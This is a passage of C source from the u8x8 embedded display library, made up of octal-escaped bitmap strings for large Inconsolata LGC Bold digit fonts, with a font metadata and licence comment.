"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\340\360\370\370\370\374\374\374\374\374\374\374\374\370\370" "\370\360\340\340\0\0\0\0\0\0\0\0\360\376\377\377\377\377\377\37\7\3\1\1\0\0\0\0\1\1\3\3" "\17\37\77\17\0\360\360\360\360\360\360\360\377\377\377\377\377\377\377\360\360\360\360\360\360\360\360\360\360\360\0\0" "\0\0\0\0\0\3\3\3\3\3\3\3\377\377\377\377\377\377\377\3\3\3\3\3\3\3\3\3\3\3\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\300\340\360\360\370\370\374\374|||~|||\374\374\370\370\360\360\370\370\374\374\374" "\374\374\374\374\374\377\377\377\377\377\377\303\1\0\0\0\0\0\0\0\0\0\1\303\377\377\377\377\377\374\0\0" "\0\0\0\0\0\3\7\217\337\377\377\377\377\376\376\374\374\374\374\374\376\376\177\177\77\77\37\17\7\0\0\0" "\0\0\0\0\0\0\36\277\377\377\377\377\375\370\370\370\370\370\370\370\370\370\370\370\370\370\370\370\360\360\360\340" "\300\200\0\0\374\376\377\377\377\377\317\203\1\1\1\1\1\1\1\1\1\1\1\1\1\201\203\303\377\377\377\377" "\377\377~\0\3\7\17\37\37\77\77\77\77\177\177~~~~~~~\177\177\77\77\77\77\37\37\17\7" "\3\1\0\0\0\0\370\370\370\370\370\370\370\30\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\377\377\377\377\377\377\377\300\340\360\370\370\374\374\374\374\374\374\374\374\374\374\370\360\360\340" "\200\0\0\0\0\0\377\377\377\377\377\377\377\77\17\7\3\1\1\0\0\0\0\0\1\3\17\377\377\377\377\377" "\377\374\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377" "\377\377\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377" "\377\377\0\0\0\0\7\7\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7\7\7" "\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\360\370\370\370\370\370\360\340\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\17\17\17\17\17\7\3\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\340\340\340\340\340\340\340\340\377\377\377\377\377\377\377\340\340\340\340\340\340\340\340\0" "\0\0\0\0\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\360\370\370\370\370\370\360\340\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\17\17\17\17\7\7\3\0\0" "\0\0\0\0\0\0\0\0\0\0\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0" "\0\0\0\0\0\0\300\340\360\340\300\200\0\0\0\0\0\0\0\200\300\340\377\377\377\377\377\377\77\0\0\0" "\0\0\0\0\2\7\17\37\37\77\77\77\177\177\177~~\177\177\77\77\77\37\37\17\7\3\0\0\0\0\0" "\0\0\0\0\0\370\370\370\370\370\370\370\30\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374\374\374\374|<" "\34\14\4\0\0\377\377\377\377\377\377\377\0\200\300\340\360\370\374\376\377\177\77\37\17\7\3\1\1\0\0\0" "\0\0\0\0\0\377\377\377\377\377\377\377\77\37\17\7\17\37\177\377\377\377\376\374\360\340\300\200\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\1\3\17\37\77\177\377\377\377\376\370\360" "\340\300\200\0\0\7\7\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\7\7\7" "\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\370\370\370\370\370\370\370\370\370\370\370\370\370\370\370\370\370\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\1\1\1\1\1\1\1\1\1\1\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\340\340\340\340\340\340\340\340\340\340\377\377\377\377\377\377\377\340\340\340\340\340\340\340\340\340" "\0\0\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\374\374\374\374\374\374\370\370\374\374\374\376\374\374\374\370\360\340\360\370\370\374\374\374\376\374\374\374" "\370\370\340\200\377\377\377\377\377\377\7\1\0\0\0\1\377\377\377\377\377\377\377\3\1\0\0\0\3\377\377\377" "\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\377\377\377" "\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\377\377\377" "\377\377\377\377\7\7\7\7\7\7\0\0\0\0\0\0\7\7\7\7\7\7\7\0\0\0\0\0\0\7\7\7" "\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\376\376\376\376\376\376\376\340\360\370\374\374\376~~~~~\376\376\376\376\374\370\370\360" "\300\0\0\0\0\0\377\377\377\377\377\377\377\37\7\3\1\0\0\0\0\0\0\0\0\1\7\377\377\377\377\377" "\377\376\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377" "\377\377\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377" "\377\377\0\0\0\0\3\3\3\3\3\3\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\3\3\3\3" "\3\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\200\300\340\360\370\370\374\374\376\376~~~~~~\376\376\376\374\374\370\370\360\340" "\300\0\0\0\340\374\377\377\377\377\377\77\17\3\1\0\0\0\0\0\0\0\0\0\0\1\3\17\177\377\377\377" "\377\377\374\340\77\377\377\377\377\377\377\360\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\377\377\377" "\377\377\377\77\0\1\7\17\37\77\177\377\377\376\374\370\370\360\360\360\360\360\360\370\370\374\376\377\377\377\177\77" "\37\7\1\0\0\0\0\0\0\0\0\0\1\1\1\3\3\3\3\3\7\3\3\3\3\3\1\1\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\374\374\374\374\374\374\374\340\360\360\370\370\374\374\374\374\376\374\374\374\374\374\370\370\360\340\300" "\200\0\0\0\0\377\377\377\377\377\377\377\37\7\3\1\0\0\0\0\0\0\0\1\1\3\7\37\377\377\377\377" "\377\377\374\340\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\377\377\377" "\377\377\377\177\0\377\377\377\377\377\377\377\377\374\370\360\340\340\340\340\340\340\340\360\360\370\374\376\377\377\377\177" "\77\17\3\0\0\377\377\377\377\377\377\377\0\1\3\3\7\7\7\7\7\17\7\7\7\7\7\3\1\1\0\0" "\0\0\0\0\0\177\177\177\177\177\177\177\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\300\340\360\370\370\374\374\376\376~~~~~~~\376\374\374\370\360\376\376\376\376" "\376\376\376\0\360\376\377\377\377\377\377\77\7\3\1\0\0\0\0\0\0\0\0\0\0\1\3\177\377\377\377\377" "\377\377\377\0\77\377\377\377\377\377\377\360\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\360\377\377\377\377" "\377\377\377\0\0\1\7\37\77\177\377\377\377\376\374\370\370\360\360\360\360\360\360\370\374\374\377\177\377\377\377\377" "\377\377\377\0\0\0\0\0\0\0\0\1\1\1\3\3\3\3\7\7\3\3\3\3\1\0\0\0\377\377\377\377" "\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\77\77\77\77" "\77\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\376\376\376\376\376\376\376\340\360\370\374\374\376\376~~~~~~~\376\376\374" "\374\370\370\60\0\0\0\0\377\377\377\377\377\377\377\177\37\7\3\1\0\0\0\0\0\0\0\0\0\0\1\3" "\7\3\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\3\3\3\3\3\3\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\300\340\360\360\370\370\374\374\374\374\374\374\376\374\374\374\374\374\374\370\370\360\360\340" "\300\200\0\0\0\0\0\37\177\377\377\377\377\377\363\341\301\300\300\200\200\200\0\0\1\1\3\7\17\37\37\7" "\3\0\0\0\0\0\0\0\200\0\1\3\3\7\7\7\17\17\17\37\37\37\77\77\77\177\376\376\374\374\370\360" "\340\300\0\0\0\60|\376\377\377\374\374\370\360\360\340\340\340\340\340\340\340\340\340\360\360\370\377\377\377\377\177" "\77\37\0\0\0\0\0\0\0\1\3\3\3\7\7\7\7\7\17\17\17\7\7\7\7\7\3\3\3\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\376\376\376\376\377\377\17\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\374\374\374\374\374\374\374\374\374\377\377\377\377\377\377\374\374\374\374\374\374\374\374\374\374\374" "\0\0\0\0\0\0\0\0\0\0\0\0\0\374\377\377\377\377\377\377\3\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\37\177\377\377\377\377\377\376\360\340\340\340\340\340\340\360\360\370\370" "\374\374\340\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\3\7\7\7\7\17\17\7\7\7\7\7\3\3" "\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\374\374\374\374\374\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\374\374\374\374\374" "\374\374\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377" "\377\377\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\377\377\377\377\377" "\377\377\0\0\0\3\37\177\377\377\377\377\377\374\360\360\340\340\340\340\340\340\360\370\370\376\377\377\377\377\377\377" "\377\377\0\0\0\0\0\0\0\1\1\3\7\7\7\7\7\17\17\7\7\7\7\3\1\1\0\7\7\7\7\7" "\7\7\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\34\374\374\374\374\374\374\354\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\360\374\374\374" "\374\374<\0\0\0\3\37\177\377\377\377\377\374\360\200\0\0\0\0\0\0\0\0\0\300\370\377\377\377\377\77" "\17\1\0\0\0\0\0\0\0\1\17\77\377\377\377\377\376\360\300\0\0\200\340\374\377\377\377\177\37\7\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\1\7\37\377\377\377\377\376\376\377\377\377\77\17\1\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\7\7\7\7\3\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\374\374\374\374\374\0\0\0\0\0\0\0\0\200\340\340\340\340\340\0\0\0\0\0\0\0\0\374" "\374\374\374\374\77\377\377\377\377\377\340\0\0\0\0\200\370\377\377\377\377\377\377\377\370\200\0\0\0\0\370\377" "\377\377\377\377\0\7\177\377\377\377\377\376\300\200\370\377\377\377\177\7\1\17\377\377\377\377\374\340\0\370\377\377" "\377\377\177\1\0\0\0\17\377\377\377\377\377\377\377\377\77\7\0\0\0\0\0\7\177\377\377\377\376\377\377\377" "\377\17\0\0\0\0\0\0\1\7\7\7\7\7\7\3\0\0\0\0\0\0\0\0\0\3\7\7\7\7\7\7" "\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\4\34<\374\374\374\374\374\360\340\300\0\0\0\0\0\0\0\0\200\300\340\370\374\374\374\374|" "\34\14\0\0\0\0\0\0\1\3\17\37\77\377\377\377\376\370\360\300\360\374\376\377\377\177\77\17\7\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\300\340\361\377\377\377\377\177\377\377\377\377\370\340\300\200\0\0\0\0" "\0\0\0\0\0\0\200\340\360\374\376\377\377\377\77\37\7\3\0\0\0\3\7\37\77\177\377\377\376\374\370\340" "\300\200\0\0\6\7\7\7\7\7\7\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\7\7\7" "\7\7\6\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\34|\374\374\374\374\374\374\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\374\374\374\374" "\374\374<\4\0\0\1\17\77\377\377\377\377\376\360\300\0\0\0\0\0\0\0\0\200\360\374\377\377\377\377\77" "\7\1\0\0\0\0\0\0\0\0\7\37\177\377\377\377\376\370\340\0\0\200\340\374\377\377\377\377\37\7\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\3\17\77\377\377\377\377\374\377\377\377\177\37\3\0\0\0\0\0" "\0\0\0\0\200\340\300\0\0\0\0\0\0\200\300\340\374\377\377\377\377\177\17\3\0\0\0\0\0\0\0\0" "\0\0\0\0\77\77\77\177\177~~\177\177\177\77\77\37\37\17\7\1\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374" "|\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374\377\377\177\77\37\17\7\1\0" "\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\376\377\377\377\77\37\17\7\3\1\0\0\0\0\0\0\0" "\0\0\0\0\300\340\360\370\376\377\377\377\377\377\357\347\343\341\340\340\340\340\340\340\340\340\340\340\340\340\340\340" "\340\360\360\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7" "\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\300\340\340\340\360\360\360\360\360\360\360\360\360\360\360" "\0\0\0\0\0\0\0\0\0\0\0\0\340\374\377\377\377\377\377\77\17\7\7\3\3\3\3\3\3\3\3\3" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\340\340\340\340\360\360\370\374\377\377\377\177\77\17\3\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\7\7\7\7\7\17\17\77\377\377\377\376\374\370\300\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\177\377\377\377\377\377\377\360\200\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\17\37\77\77\77\177\177\177\177~~~~~~~~" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\360\360\360\360\360\360\360\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\360\360\360\360\360\360\360\360\360\360\360\340\340\340\300\300\200\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\3\3\3\3\3\3\3\3\3\7\7\17\37\377\377\377\377\377\374\360\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\17\77\177\177\377\377\376\370\360\360\340" "\340\340\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\374\376\377\377\377\177\37\17\7\7" "\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\377\377\377\377\377\377\177\0\0\0\0\0" "\0\0\0\0\0\0\0~~~~~~~~~\177\177\177\177\77\77\37\17\7\3\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0`\360\370\370\374\374\376\376~~~~\376\376\376\374\374\370\370\360\360\340\340\340\360\360\370\374" "\376\374|\70\0\0\1\1\3\1\0\0\0\0\0\0\0\0\1\1\3\3\7\7\7\7\7\7\7\3\3\1" "\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0"; /* Fontname: -FreeType-Inconsolata LGC-Bold-R-Normal--62-620-72-72-P-301-ISO10646-1 Copyright: Original Roman version created by Raph Levien using his own tools and FontForge. Copyright 2006 Raph Levien. Hellenisation of the Roman font, by Dimosthenis Kaponis, using FontForge. Hellenic glyphs Copyright 2010-2012 Dimosthenis Kaponis. Released under the SIL Open Font License, http://scripts.sil.org/OFL. Cyrillic glyphs added by MihailJP, using FontForge. Cyrillic glyphs Copyright 2012 MihailJP. Released under the SIL Open Font License, http://scripts.sil.org/OFL. Emboldened by MihailJP. Some glyphs modified by Greg Omelaenko, using FontForge. Glyphs: 18/658 BBX Build Mode: 3 */ const uint8_t u8x8_font_inb46_4x8_n[6916] U8X8_FONT_SECTION("u8x8_font_inb46_4x8_n") = " :\4\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" 